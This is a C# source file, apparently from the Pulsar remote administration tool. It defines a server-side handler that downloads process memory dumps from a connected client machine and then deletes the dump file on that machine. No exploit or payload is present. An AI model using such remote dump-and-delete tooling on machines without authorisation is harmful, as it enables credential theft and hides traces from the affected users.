using Pulsar.Common.Enums; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Administration.FileManager; using Pulsar.Common.Messages.Administration.TaskManager; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; using Pulsar.Server.Models; using Pulsar.Server.Networking; using System; using static Pulsar.Server.Messages.FileManagerHandler; namespace Pulsar.Server.Messages { public class MemoryDumpHandler : MessageProcessorBase, IDisposable { /// /// Raised when a dump transfer updated. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event FileTransferUpdatedEventHandler FileTransferUpdated; /// /// The client which is associated with this memory dump handler. /// private readonly Client _client; private readonly FileManagerHandler _fileManagerHandler; private readonly DoProcessDumpResponse _activeDump; /// /// Initializes a new instance of the class using the given client. /// /// The associated client. /// The process dump this handler tracks. public MemoryDumpHandler(Client client, DoProcessDumpResponse response) : base(true) { _client = client; _activeDump = response; _fileManagerHandler = new FileManagerHandler(client); _fileManagerHandler.FileTransferUpdated += OnFileTransferUpdateForward; MessageHandler.Register(_fileManagerHandler); } /// public override bool CanExecute(IMessage message) => message is FileTransferComplete; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); /// public override void Execute(ISender sender, IMessage message) { switch (message) { case FileTransferComplete complete: Execute(sender, complete); break; } } private void Execute(ISender sender, FileTransferComplete complete) { } private void OnFileTransferUpdateForward(object sender, FileTransfer transfer) { FileTransferUpdated?.Invoke(sender, transfer); } public void Cleanup(FileTransfer transfer) { _fileManagerHandler.DeleteFile(transfer.RemotePath, FileType.File); } public void BeginDumpDownload(DoProcessDumpResponse response) { string fileName = $"{response.UnixTime}_{response.Pid}_{response.ProcessName}.dmp"; this._fileManagerHandler.BeginDownloadFile(response.DumpPath, fileName, true); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { this._fileManagerHandler.FileTransferUpdated -= OnFileTransferUpdateForward; MessageHandler.Unregister(this._fileManagerHandler); this._fileManagerHandler.Dispose(); } } }